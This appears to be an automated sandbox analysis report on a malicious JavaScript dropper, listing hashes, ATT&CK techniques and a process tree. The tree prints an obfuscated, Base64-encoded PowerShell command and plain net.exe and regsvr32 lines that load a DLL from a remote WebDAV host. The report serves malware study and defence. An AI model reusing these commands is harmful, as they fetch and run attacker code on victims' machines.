729ba61dd005270ac9ea1a3fcacbfd615c2b1ffcaa8c02477205590c1bd491f4

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
26/07/2024, 12:37

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General

Target

24512273992155119888.js
Size

16KB
MD5

81f40ac6804ff55ae429b1f889d43919
SHA1

622b8e291d62965f213d0171863bf0cca613817c
SHA256

729ba61dd005270ac9ea1a3fcacbfd615c2b1ffcaa8c02477205590c1bd491f4
SHA512

82c6bdb877e62b5791c81238bcb6c9dcb69106493defdb866ed6bcf467cb87213c9e8a1007524f7de8c6c19566fc3f7dd92d93186908a03e816c96118c97aaa0
SSDEEP

192:6iAQi4t9L0q0hh5p1hKJHhFSAlnFaygFSAlnFCt:6i3DUmBPXyJXe

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2432	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2432	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2708 wrote to memory of 2432	2708	wscript.exe	30
PID 2708 wrote to memory of 2432	2708	wscript.exe	30
PID 2708 wrote to memory of 2432	2708	wscript.exe	30
PID 2432 wrote to memory of 2484	2432	powershell.exe	32
PID 2432 wrote to memory of 2484	2432	powershell.exe	32
PID 2432 wrote to memory of 2484	2432	powershell.exe	32
PID 2432 wrote to memory of 2732	2432	powershell.exe	33
PID 2432 wrote to memory of 2732	2432	powershell.exe	33
PID 2432 wrote to memory of 2732	2432	powershell.exe	33
PID 2432 wrote to memory of 2732	2432	powershell.exe	33
PID 2432 wrote to memory of 2732	2432	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\24512273992155119888.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADQANwA4ADMANgAyADcAOQAxADMAOAAxADUALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2432
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
    3⤵
    PID:2484
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\4783627913815.dll
    3⤵
    PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2432-4-0x000007FEF546E000-0x000007FEF546F000-memory.dmp

Filesize
4KB

Download
memory/2432-5-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2432-6-0x0000000002260000-0x0000000002268000-memory.dmp

Filesize
32KB

Download
memory/2432-7-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2432-8-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2432-9-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2432-10-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2432-11-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2432-12-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download